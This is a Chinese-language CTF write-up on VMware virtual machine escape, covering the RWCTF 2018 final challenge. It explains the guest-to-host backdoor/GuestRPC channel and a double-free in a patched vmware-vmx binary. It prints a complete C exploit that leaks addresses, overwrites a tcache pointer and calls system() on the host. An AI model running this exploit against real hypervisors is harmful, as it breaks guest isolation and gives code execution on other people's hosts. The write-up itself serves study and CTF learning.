虚拟机逃逸入门(一)

虚拟机逃逸(一) 0x01 概述 虚拟化技术逐渐的开源和云计算的需要,使得虚拟化迅速发展,从KVM,XEN到qemu,docker...等,。 服务和软件定义网络的理念模糊了开发和运维的界限,也把更多的安全...

0x01 概述

虚拟化技术逐渐的开源和云计算的需要,使得虚拟化迅速发展,从KVM,XEN到qemu,docker…等,。

服务和软件定义网络的理念模糊了开发和运维的界限,也把更多的安全问题带入到虚拟化技术中。更多基础设施即服务(Iaas)管理平台的问题以及云供应商的不可控都给虚拟化技术的安全应用带来阻碍,而真正的虚拟化安全要从虚拟化技术本身谈起。

早期的虚拟化提出的是,宿主机和虚拟机之间的隔离,但是随着技术的发展,两机之间的通信让这种隔离变得模糊化,无论是FTP还是共享机制,都给安全带来的较大的挑战,本文针对虚拟机逃逸漏洞进行一个入门级别的分析。

0x02 如何逃逸

首先,需要明确提权的模型,虚拟机逃逸的情况繁多,大致的模型和提权方式都类似。(后续的一些示例表示,非内核态也可以逃逸)

  • 虚拟机操作系统发送敏感请求,使操作系统陷入内核态
  • 某些特权指令会进入ring0以下的状态,即交给Hypervisor处理
  • 利用Hypervisor的脆弱性漏洞使得Hypervisor执行完特权指令后不产生指令状态的返回,使得执行完指令后依然停留在内核态
  • 实现了提权后,可以渗透到Hypervisor和虚拟机的其他区域,破坏虚拟化的隔离机制,完成逃逸操作。

了解基本的流程之后,就是理解


以上是一个虚拟化的基本模型,这里使用的是一个全虚拟化的模型,VMM即hypervisor,提权利用的是特殊指令执行时候会陷入root mode。

这类指令的存在让提权和逃逸变得可行。总结以上流程,写出一个逃逸需要的基本条件。

  1. 有漏洞的内核,即有可以执行使得陷入hypervisor的指令
  2. 有一次匹配的逃逸,理解为可以使得宿主机弹出一个计算器

第二点的利用,在不同的虚拟化技术中,不一样,下面以VM ware的逃逸,做一个简单的例子。

0x03 RWCTF2018 final VMescape

这题是RWCTF2018 final,做一个入手的题目非常的合适。

前置知识

经常使用vmware虚拟机的人一定会熟悉其拖拽功能,即Guest和host之间的文件传递以及复制之类的操作,都是基于拖拽实现的,拖拽的背后是Guest和host之间的通信机制。而Vm类型的逃逸中,利用的就是该通信机制,这类机制被设计是现在了vmtools当中,高版本的vmware,vmtools消失,直接被自带安装。

backdoor机制

vmtools中有一个叫做backdoor的接口,该接口被用来实现通信。官方文档,github中的开源文档也有open-vmtools.

  1. void
  2. Backdoor_InOut(Backdoor_proto *myBp) // IN/OUT
  3. {
  4. uint64 dummy;
  5. __asm__ __volatile__(
  6. #ifdef __APPLE__
  7. /*
  8. * Save %rbx on the stack because the Mac OS GCC doesn't want us to
  9. * clobber it - it erroneously thinks %rbx is the PIC register.
  10. * (Radar bug 7304232)
  11. */
  12. "pushq %%rbx" "\n\t"
  13. #endif
  14. "pushq %%rax" "\n\t"
  15. "movq 40(%%rax), %%rdi" "\n\t"
  16. "movq 32(%%rax), %%rsi" "\n\t"
  17. "movq 24(%%rax), %%rdx" "\n\t"
  18. "movq 16(%%rax), %%rcx" "\n\t"
  19. "movq 8(%%rax), %%rbx" "\n\t"
  20. "movq (%%rax), %%rax" "\n\t"
  21. "inl %%dx, %%eax" "\n\t" /* NB: There is no inq instruction */
  22. "xchgq %%rax, (%%rsp)" "\n\t"
  23. "movq %%rdi, 40(%%rax)" "\n\t"
  24. "movq %%rsi, 32(%%rax)" "\n\t"
  25. "movq %%rdx, 24(%%rax)" "\n\t"
  26. "movq %%rcx, 16(%%rax)" "\n\t"
  27. "movq %%rbx, 8(%%rax)" "\n\t"
  28. "popq (%%rax)" "\n\t"
  29. #ifdef __APPLE__
  30. "popq %%rbx" "\n\t"
  31. #endif

其中有一条特权指令,in,这条指令在正常的操作系统执行会报错,但是在vm中的guest机器执行这条指令,这个异常会被 vmtools捕获,然后传递给vmware-vmx.exe进行通信操作。

重点在于,backdoor普通用户也可以执行,所以,guest中,执行相应的代码,让操作系统陷入hypervisor层,然后再利用backdoor和host进行通信,触发此bug。

通信所需要的函数,再open-vmtools中也有实现。Message_SendMessage_Recvgit链接

在某一篇文档中,给出了该操作的基本使用.

  1. #include <stdio.h>
  2. unsigned __declspec(naked) GetMousePos()
  3. {
  4. __asm
  5. {
  6. mov eax, 564D5868h
  7. mov ecx, 4
  8. mov edx, 5658h
  9. in eax, dx
  10. ret
  11. }
  12. }
  13. void main()
  14. {
  15. unsigned mousepos = GetMousePos();
  16. printf( "鼠标光标位置:x=%d,y=%d\n" , mousepos >> 16, mousepos &amp; 0xFFFF);
  17. }

If this program is executed on a real machine, the in instruction will cause a “privileged instruction” exception, as user-mode code runs in Ring 3. However, when this program is executed on the virtual machine, it will print the correct mouse cursor position.

在真机上会报错,而在虚拟机中,将获得鼠标位置。

GuestRPC | Drag and Drop RPCI

这是在backdoor基础上实现的更为灵活的通信方式。单个 GuestRPC 调用由一系列请求组成:

  • 打开 GuestRPC 通道
  • 发送命令长度
  • 发送命令数据
  • 接收回复大小
  • 接收回复数据
  • 发出接收结束信号
  • 关闭频道

具体的函数实现后面再去分析,这里实际上是实现了一套不那么底层的通信机制。依靠这个机制,guest和host之间可以实现许多有意思的操作,例如:dnd(Drag n Drop)、cp(Copy Paste)操作、发送或获取信息等。

再/lib/include/rpcout.h中定义了相关的一些函数,这些函数用来构建和摧毁rpc通道。

最后的调用追踪如下。

  1. Rpcout_start->Message_OpenAllocated->Backdoor;
  2. RpcOut_send->Message_Send &amp; Message_Receive;

这几处函数调用对backdoor的操作都是基于一个结构体。Backdoor_proto

backdoor_types.h中对其有定义。

  1. #define DECLARE_REG64_STRUCT \
  2. DECLARE_REG32_STRUCT; \
  3. struct { \
  4. uint32 low; \
  5. uint32 high; \
  6. } words; \
  7. uint64 quad

实际上就是对相应的寄存器做一个设置。

除了以上的函数,vmx还提供了一种面向对象的方法实现以上功能,VMWareRPCChannel类,该类可以在内核和用户模式下使用。

By using VMWareRPCChannel class it is possible to execute arbitrary GuestRPC requests, that VMWare supports. However, the question of adding our own request types is still open. Let’s examine the VMWARE-VMX.EXE internals. When a GuestRPC is being issued by guest, code inside the VMWARE-VMX.EXE searches the so-called GuestRPC handler table for a handler corresponding the the issued request. A GuestRPC handler entry format can be defined by the following structure:

具体的实现这里不赘述,此外长亭的师傅也实现了一套Rpc的通信机制,在其知乎文章有分析。

通过这个RPCI可以直接向RPC,以往版本的漏洞分析中已经有该DnD漏洞的存在。

图片.png
memcpy没有size的判断,导致第二个包可以直接改totalsize为一个大值,这样导致了memcpy的溢出。发送Dnd的代码在dndCPTransportGuestRpc.hpp中,同样可以在open-vmtools里面找到源码。有人总结出了发送路径。

rpcv3util::SendMsg->DnDCPTransportGuestRpc::SendPacket->RpcChannel_Send->Message_Send->backdoor

漏洞分析

静态分析

题目给出了

rwctf.ovf、rwctf-disk1.vmdk、rwctf.mf、vmware-vmx-patched、VMware-Workstation-Full-15.0.2-10952284.x86_64.bundle和vmware-vmx

使用vof vmdk mf可以创建一个题目相同环境的虚拟机,patched即为题目环境的vmx,而bundle安装包中的是给出的vmware-vmx。

使用bindiff比较patched和原版的不同可以快速定位漏洞位置,bindiff官网在外网,可以在52破解下载。

使用ida的bindiff插件,然后把diff结果导入bindiff软件即可。

查看出来的不同有1处,

图片.png
双击查看函数内容

图片.png

可以看到patched地方加入了大部分的nop指令,回到ida仔细分析该流程处nop掉的东西是什么。

图片.png

仔细比较发现有一处and被修改,还有一处call之前的一个mov指令被nop掉了,F5回去查看被改掉的位置。

图片.png

少了一处被置为0的操作,还有一处and操作修改,查看整个函数,大部分都是GuestMsg: Channel之类的东西,以及上面的switch操作,此外报错都是一些协议错误以及格式之类的东西,猜测这里是RPC指令的处理函数。

然后我就一头扎进了open-vm的源码,,。。

看了非常久,大概得出一个结构体的模型

图片.png

其中大部分的操作还看不太懂,然后突然想起来查看GuestRPC 的操作流程。

  • 打开 GuestRPC 通道
  • 发送命令长度
  • 发送命令数据
  • 接收回复大小
  • 接收回复数据
  • 发出接收结束信号
  • 关闭频道

发现可以和这里的switch对应起来,可以更加清除的理解其内容。

这里去掉了置0操作,没有将第一处buf置空,第二处把标志改为了21,这里可能是漏洞形成的重点。

根据正常流程,目标处调用的是这样一个函数。

  1. void __fastcall close_backdoor(__int64 a1, unsigned __int16 a2, char a3)
  2. {
  3. void *v4; // rdi
  4. v4 = *(void **)(a1 + 8);
  5. if ( (a3 &amp; 0x20) != 0 )
  6. {
  7. free(v4);
  8. }
  9. else if ( (a3 &amp; 0x10) == 0 )
  10. {
  11. sub_176D90(a1, 0LL);
  12. if ( *(_BYTE *)(a1 + 32) )
  13. {
  14. sub_55A0E0("GuestRpc: Closing RPCI backdoor channel %u after send completion\n", a2);
  15. sub_189FE0(a2);
  16. *(_BYTE *)(a1 + 32) = 0;
  17. }
  18. }
  19. }

这里有一个if分支是free掉a1+8位置的buf,要求是a3 and 0x20!=0,这就刚好和patch的地方相符合,这里会导致一次free。

此处释放的缓冲区是偏移为8的地方的缓冲区,该缓冲区对应于内部用于存储传递回用户的回复数据的缓冲区。

同时在switch=6的时候,此处会再次释放,这就导致了DF存在,而在这个DF的中间,重复使用该区域,可以利用为UAF。

下面就有了基本的思路

  • leak
  • 更改tcache的fd
  • 获取rip控制rdi调用system("/usr/bin/xcalc &amp;")

在此guestrpc的区间内,对堆的操作非常少,所以该漏洞利用也是比较稳固的。

attack

leak操作利用的是比较老套的uaf利用

  • 分配三个通道 [A]、[B] 和 [C]
  • 将命令发送info-set到通道 [A]
  • 打开通道 [B] 并发出 a info-get以检索我们刚刚设置的数据
  • 在通道 [B] 上发出回复长度和回复读取命令
  • 在通道 [B] 上调用错误的 finalize 命令,释放底层的回复缓冲区
  • 在通道 [C] 上调用info-get并接收回复长度,它在我们刚刚分配的同一地址分配一个缓冲区
  • 关闭通道 [B],再次释放缓冲区
  • 阅读频道[C]上的回复以泄露我们的数据

但是在channel C上形成的uaf,却并不能做到在tcache中泄露想要的glibc地址,所以在此基础上还需要往C中填入一些可以利用的地址。

这时候考虑到2017年的一个cve,通过dnd_version造成vtable的leak。

分析dnd_version如下。ida中搜索vmx.capability.dnd_version,找到对应的bind函数。

图片.png

其他的RPC命令类似,在发送“vmx.capability.dnd_version”命令的时候,对应的处理函数中如果发现当前版本和设置的版本不一致,就会调用函数创建新的 object,把原来的版本的object销毁。

  1. __int64 __fastcall sub_1116D0(__int64 a1, __int64 a2, __int64 a3, int a4, __int64 reply, __int64 reply_len)
  2. {
  3. int v8; // er12
  4. __int64 v9; // rax
  5. __int64 v10; // rsi
  6. int v12; // [rsp+8h] [rbp-30h] BYREF
  7. int v13[11]; // [rsp+Ch] [rbp-2Ch] BYREF
  8. if ( !a4 )
  9. return set_reply(reply, reply_len, "1 argument expected");
  10. v12 = 0;
  11. if ( !(unsigned __int8)sub_5611D0(v13, &amp;v12, a3, " ") )
  12. return set_reply(reply, reply_len, "Non-integer argument");
  13. v8 = v13[0];
  14. if ( v13[0] <= 1 )
  15. return set_reply(reply, reply_len, "Invalid protocol version.");
  16. sub_171460(*(_QWORD *)(theCurrentVM + 104LL));
  17. v9 = sub_4723A0(*(_QWORD *)(theCurrentVM + 104LL));
  18. if ( v8 == *(_DWORD *)(v9 + 360) )
  19. {
  20. v10 = 0LL;
  21. }
  22. else
  23. {
  24. *(_DWORD *)(v9 + 360) = v8;
  25. v10 = 1LL;
  26. }
  27. sub_472380(v9, v10);
  28. sub_1711E0(*(_QWORD *)(theCurrentVM + 104LL));
  29. if ( !(unsigned __int8)sub_12FA20((unsigned int)v13[0]) )
  30. return set_reply(reply, reply_len, "Failed to set VMDB");
  31. if ( v13[0] > 2 )
  32. Tools_SetGuestDnDCapable("1");
  33. return set_reply(reply, reply_len, "");
  34. }

传入一个参数代表版本,如果不符合则销毁之前的结构体,创建一个新的结构体。更新在vmx.capability.dnd_version也有对应实现。

图片.png

追踪函数

图片.png

图片.png

那么可以猜到新的结构体大小总是为0xa8。可以通过该方法,控制buf的大小为0xa8,销毁原来的object获得新的object的时候,把channel B的UAF chunk申请出来,然后利用channel C leak libc基址。

有了leak,利用起来就简单了,直接改fd,然后劫持到bss段,改掉某一个函数指针为system即可。

新的leak方式如下

  • 开启channel A和channel B
  • A的输出缓冲区为bufA,A利用漏洞free bufA
  • 然后B给guest发送out put,这时候控制B的buf大小和A一样,此时free的A再次被malloc出来
  • 释放A,同时buf A被再次释放,此时调用vmx.capability.dnd_version,虚表在此时被写入bufB
  • leak出process base 然后根据偏移即可计算出system 以及一些函数指针的地址。

最后以相同的方式,劫持fd即可,下面的exp是长亭师傅的,根据通信原理实现了一套通信机制,具体内容看参考,不赘述。

exp:

  1. #include <stdio.h>
  2. #include <stdint.h>
  3. void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){
  4. asm("movl %%eax,%%ebx\n\t"
  5. "movq %%rdi,%%r10\n\t"
  6. "movq %%rsi,%%r11\n\t"
  7. "movq %%rdx,%%r12\n\t"
  8. "movq %%rcx,%%r13\n\t"
  9. "movl $0x564d5868,%%eax\n\t"
  10. "movl $0xc9435052,%%ebx\n\t"
  11. "movl $0x1e,%%ecx\n\t"
  12. "movl $0x5658,%%edx\n\t"
  13. "out %%eax,%%dx\n\t"
  14. "movl %%edi,(%%r10)\n\t"
  15. "movl %%esi,(%%r11)\n\t"
  16. "movl %%edx,(%%r12)\n\t"
  17. "movl %%ecx,(%%r13)\n\t"
  18. :
  19. :
  20. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13"
  21. );
  22. }
  23. void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){
  24. asm("movl %%eax,%%ebx\n\t"
  25. "movq %%r8,%%r10\n\t"
  26. "movl %%ecx,%%ebx\n\t"
  27. "movl $0x564d5868,%%eax\n\t"
  28. "movl $0x0001001e,%%ecx\n\t"
  29. "movw $0x5658,%%dx\n\t"
  30. "out %%eax,%%dx\n\t"
  31. "movl %%ecx,(%%r10)\n\t"
  32. :
  33. :
  34. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
  35. );
  36. }
  37. void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){
  38. asm("pushq %%rbp\n\t"
  39. "movq %%r9,%%r10\n\t"
  40. "movq %%r8,%%rbp\n\t"
  41. "movq %%rcx,%%r11\n\t"
  42. "movq $0,%%r12\n\t"
  43. "1:\n\t"
  44. "movq %%r8,%%rbp\n\t"
  45. "add %%r12,%%rbp\n\t"
  46. "movl (%%rbp),%%ebx\n\t"
  47. "movl $0x564d5868,%%eax\n\t"
  48. "movl $0x0002001e,%%ecx\n\t"
  49. "movw $0x5658,%%dx\n\t"
  50. "out %%eax,%%dx\n\t"
  51. "addq $4,%%r12\n\t"
  52. "cmpq %%r12,%%r11\n\t"
  53. "ja 1b\n\t"
  54. "movl %%ecx,(%%r10)\n\t"
  55. "popq %%rbp\n\t"
  56. :
  57. :
  58. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
  59. );
  60. }
  61. void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){
  62. asm("movl %%eax,%%ebx\n\t"
  63. "movq %%r8,%%r10\n\t"
  64. "movq %%rcx,%%r11\n\t"
  65. "movl $0x564d5868,%%eax\n\t"
  66. "movl $0x0003001e,%%ecx\n\t"
  67. "movw $0x5658,%%dx\n\t"
  68. "out %%eax,%%dx\n\t"
  69. "movl %%ecx,(%%r10)\n\t"
  70. "movl %%ebx,(%%r11)\n\t"
  71. :
  72. :
  73. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11"
  74. );
  75. }
  76. void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){
  77. asm("pushq %%rbp\n\t"
  78. "movq %%r9,%%r10\n\t"
  79. "movq %%r8,%%rbp\n\t"
  80. "movq %%rcx,%%r11\n\t"
  81. "movq $1,%%rbx\n\t"
  82. "movl $0x564d5868,%%eax\n\t"
  83. "movl $0x0004001e,%%ecx\n\t"
  84. "movw $0x5658,%%dx\n\t"
  85. "in %%dx,%%eax\n\t"
  86. "add %%r11,%%rbp\n\t"
  87. "movl %%ebx,(%%rbp)\n\t"
  88. "movl %%ecx,(%%r10)\n\t"
  89. "popq %%rbp\n\t"
  90. :
  91. :
  92. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
  93. );
  94. }
  95. void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){
  96. asm("movl %%eax,%%ebx\n\t"
  97. "movq %%rcx,%%r10\n\t"
  98. "movq $0x1,%%rbx\n\t"
  99. "movl $0x564d5868,%%eax\n\t"
  100. "movl $0x0005001e,%%ecx\n\t"
  101. "movw $0x5658,%%dx\n\t"
  102. "out %%eax,%%dx\n\t"
  103. "movl %%ecx,(%%r10)\n\t"
  104. :
  105. :
  106. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
  107. );
  108. }
  109. void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){
  110. asm("movl %%eax,%%ebx\n\t"
  111. "movq %%rcx,%%r10\n\t"
  112. "movq $0x21,%%rbx\n\t"
  113. "movl $0x564d5868,%%eax\n\t"
  114. "movl $0x0005001e,%%ecx\n\t"
  115. "movw $0x5658,%%dx\n\t"
  116. "out %%eax,%%dx\n\t"
  117. "movl %%ecx,(%%r10)\n\t"
  118. :
  119. :
  120. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
  121. );
  122. }
  123. void channel_close(int cookie1,int cookie2,int channel_num,int *res){
  124. asm("movl %%eax,%%ebx\n\t"
  125. "movq %%rcx,%%r10\n\t"
  126. "movl $0x564d5868,%%eax\n\t"
  127. "movl $0x0006001e,%%ecx\n\t"
  128. "movw $0x5658,%%dx\n\t"
  129. "out %%eax,%%dx\n\t"
  130. "movl %%ecx,(%%r10)\n\t"
  131. :
  132. :
  133. :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
  134. );
  135. }
  136. struct channel{
  137. int cookie1;
  138. int cookie2;
  139. int num;
  140. };
  141. uint64_t heap =0;
  142. uint64_t text =0;
  143. void run_cmd(char *cmd){
  144. struct channel tmp;
  145. int res,len,i;
  146. char *data;
  147. channel_open(&amp;tmp.cookie1,&amp;tmp.cookie2,&amp;tmp.num,&amp;res);
  148. if(!res){
  149. printf("fail to open channel!\n");
  150. return;
  151. }
  152. channel_set_len(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd),&amp;res);
  153. if(!res){
  154. printf("fail to set len\n");
  155. return;
  156. }
  157. channel_send_data(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd)+0x10,cmd,&amp;res);
  158. channel_recv_reply_len(tmp.cookie1,tmp.cookie2,tmp.num,&amp;len,&amp;res);
  159. if(!res){
  160. printf("fail to recv data len\n");
  161. return;
  162. }
  163. printf("recv len:%d\n",len);
  164. data = malloc(len+0x10);
  165. memset(data,0,len+0x10);
  166. for(i=0;i<len+0x10;i+=4){
  167. channel_recv_data(tmp.cookie1,tmp.cookie2,tmp.num,i,data,&amp;res);
  168. }
  169. printf("recv data:%s\n",data);
  170. channel_recv_finish(tmp.cookie1,tmp.cookie2,tmp.num,&amp;res);
  171. if(!res){
  172. printf("fail to recv finish\n");
  173. }
  174. channel_close(tmp.cookie1,tmp.cookie2,tmp.num,&amp;res);
  175. if(!res){
  176. printf("fail to close channel\n");
  177. return;
  178. }
  179. }
  180. void leak(){
  181. struct channel chan[10];
  182. int res=0;
  183. int len,i;
  184. char pay[8192];
  185. char *s1 = "info-set guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  186. char *data;
  187. char *s2 = "info-get guestinfo.a";
  188. char *s3 = "1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  189. char *s4 = "tools.capability.dnd_version 4";
  190. char *s5 = "vmx.capability.dnd_version";
  191. //init data
  192. run_cmd(s1); // set the message len to be 0x100, so when we call info-get ,we will call malloc(0x100);
  193. run_cmd(s4);
  194. //first step
  195. channel_open(&amp;chan[0].cookie1,&amp;chan[0].cookie2,&amp;chan[0].num,&amp;res);
  196. if(!res){
  197. printf("fail to open channel!\n");
  198. return;
  199. }
  200. channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),&amp;res);
  201. if(!res){
  202. printf("fail to set len\n");
  203. return;
  204. }
  205. channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),s2,&amp;res);
  206. channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&amp;len,&amp;res);
  207. if(!res){
  208. printf("fail to recv data len\n");
  209. return;
  210. }
  211. printf("recv len:%d\n",len);
  212. data = malloc(len+0x10);
  213. memset(data,0,len+0x10);
  214. for(i=0;i<len+0x10;i++){
  215. channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&amp;res);
  216. }
  217. printf("recv data:%s\n",data);
  218. //second step free the reply and let the other channel get it.
  219. channel_open(&amp;chan[1].cookie1,&amp;chan[1].cookie2,&amp;chan[1].num,&amp;res);
  220. if(!res){
  221. printf("fail to open channel!\n");
  222. return;
  223. }
  224. channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2),&amp;res);
  225. if(!res){
  226. printf("fail to set len\n");
  227. return;
  228. }
  229. channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2)-4,s2,&amp;res);
  230. if(!res){
  231. printf("fail to send data\n");
  232. return;
  233. }
  234. //free the output buffer
  235. printf("Freeing the buffer....,bp:0x5555556DD3EF\n");
  236. getchar();
  237. channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&amp;res);
  238. if(!res){
  239. printf("fail to recv finish1\n");
  240. return;
  241. }
  242. //finished sending the command, should get the freed buffer
  243. printf("Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC\n");
  244. getchar();
  245. channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,4,&amp;s2[16],&amp;res);
  246. if(!res){
  247. printf("fail to send data\n");
  248. return;
  249. }
  250. //third step,free it again
  251. //set status to be 4
  252. channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&amp;len,&amp;res);
  253. if(!res){
  254. printf("fail to recv data len\n");
  255. return;
  256. }
  257. printf("recv len:%d\n",len);
  258. //free the output buffer
  259. printf("Free the buffer again...\n");
  260. getchar();
  261. channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&amp;res);
  262. if(!res){
  263. printf("fail to recv finish2\n");
  264. return;
  265. }
  266. printf("Trying to reuse the buffer as a struct, which we can leak..\n");
  267. getchar();
  268. run_cmd(s5);
  269. printf("Should be done.Check the buffer\n");
  270. getchar();
  271. //Now the output buffer of chan[1] is used as a struct, which contains many addresses
  272. channel_recv_reply_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,&amp;len,&amp;res);
  273. if(!res){
  274. printf("fail to recv data len\n");
  275. return;
  276. }
  277. data = malloc(len+0x10);
  278. memset(data,0,len+0x10);
  279. for(i=0;i<len+0x10;i+=4){
  280. channel_recv_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,i,data,&amp;res);
  281. }
  282. printf("recv data:\n");
  283. for(i=0;i<len;i+=8){
  284. printf("recv data:%lx\n",*(long long *)&amp;data[i]);
  285. }
  286. text = (*(uint64_t *)data)-0xf818d0;
  287. printf("Leak Success\n");
  288. }
  289. void exploit(){
  290. //the exploit step is almost the same as the leak ones
  291. struct channel chan[10];
  292. int res=0;
  293. int len,i;
  294. char *data;
  295. char *s1 = "info-set guestinfo.b BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
  296. char *s2 = "info-get guestinfo.b";
  297. char *s3 = "1 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
  298. char *s4 = "gnome-calculator\x00";
  299. uint64_t pay1 =text+0xFE95B8;
  300. uint64_t pay2 =text+0xECFD0; //system
  301. uint64_t pay3 =text+0xFE95C8;
  302. char *pay4 = "gnome-calculator\x00";
  303. run_cmd(s1);
  304. channel_open(&amp;chan[0].cookie1,&amp;chan[0].cookie2,&amp;chan[0].num,&amp;res);
  305. if(!res){
  306. printf("fail to open channel!\n");
  307. return;
  308. }
  309. channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),&amp;res);
  310. if(!res){
  311. printf("fail to set len\n");
  312. return;
  313. }
  314. channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),s2,&amp;res);
  315. channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&amp;len,&amp;res);
  316. if(!res){
  317. printf("fail to recv data len\n");
  318. return;
  319. }
  320. printf("recv len:%d\n",len);
  321. data = malloc(len+0x10);
  322. memset(data,0,len+0x10);
  323. for(i=0;i<len+0x10;i+=4){
  324. channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&amp;res);
  325. }
  326. printf("recv data:%s\n",data);
  327. channel_open(&amp;chan[1].cookie1,&amp;chan[1].cookie2,&amp;chan[1].num,&amp;res);
  328. if(!res){
  329. printf("fail to open channel!\n");
  330. return;
  331. }
  332. channel_open(&amp;chan[2].cookie1,&amp;chan[2].cookie2,&amp;chan[2].num,&amp;res);
  333. if(!res){
  334. printf("fail to open channel!\n");
  335. return;
  336. }
  337. channel_open(&amp;chan[3].cookie1,&amp;chan[3].cookie2,&amp;chan[3].num,&amp;res);
  338. if(!res){
  339. printf("fail to open channel!\n");
  340. return;
  341. }
  342. channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&amp;res);
  343. if(!res){
  344. printf("fail to recv finish2\n");
  345. return;
  346. }
  347. channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s3),&amp;res);
  348. if(!res){
  349. printf("fail to set len\n");
  350. return;
  351. }
  352. printf("leak2 success\n");
  353. channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&amp;len,&amp;res);
  354. if(!res){
  355. printf("fail to recv data len\n");
  356. return;
  357. }
  358. channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&amp;res);
  359. if(!res){
  360. printf("fail to recv finish2\n");
  361. return;
  362. }
  363. channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,8,&amp;pay1,&amp;res);
  364. channel_set_len(chan[2].cookie1,chan[2].cookie2,chan[2].num,strlen(s3),&amp;res);
  365. if(!res){
  366. printf("fail to set len\n");
  367. return;
  368. }
  369. channel_set_len(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(s3),&amp;res);
  370. channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&amp;pay2,&amp;res);
  371. channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&amp;pay3,&amp;res);
  372. channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(pay4)+1,pay4,&amp;res);
  373. run_cmd(s4);
  374. if(!res){
  375. printf("fail to set len\n");
  376. return;
  377. }
  378. }
  379. void main(){
  380. setvbuf(stdout,0,2,0);
  381. setvbuf(stderr,0,2,0);
  382. setvbuf(stdin,0,2,0);
  383. leak();
  384. printf("text base :%p",text);
  385. exploit();
  386. }

其中修改了长亭师傅的一个魔数,目的是达到no enhanced。

图片.png

其中构造的exploit如下。

图片.png
开启四个channel

然后free(0)

图片.png

set之后再次free(0)

此时往channel 1 可以写入bss段的地址。

图片.png

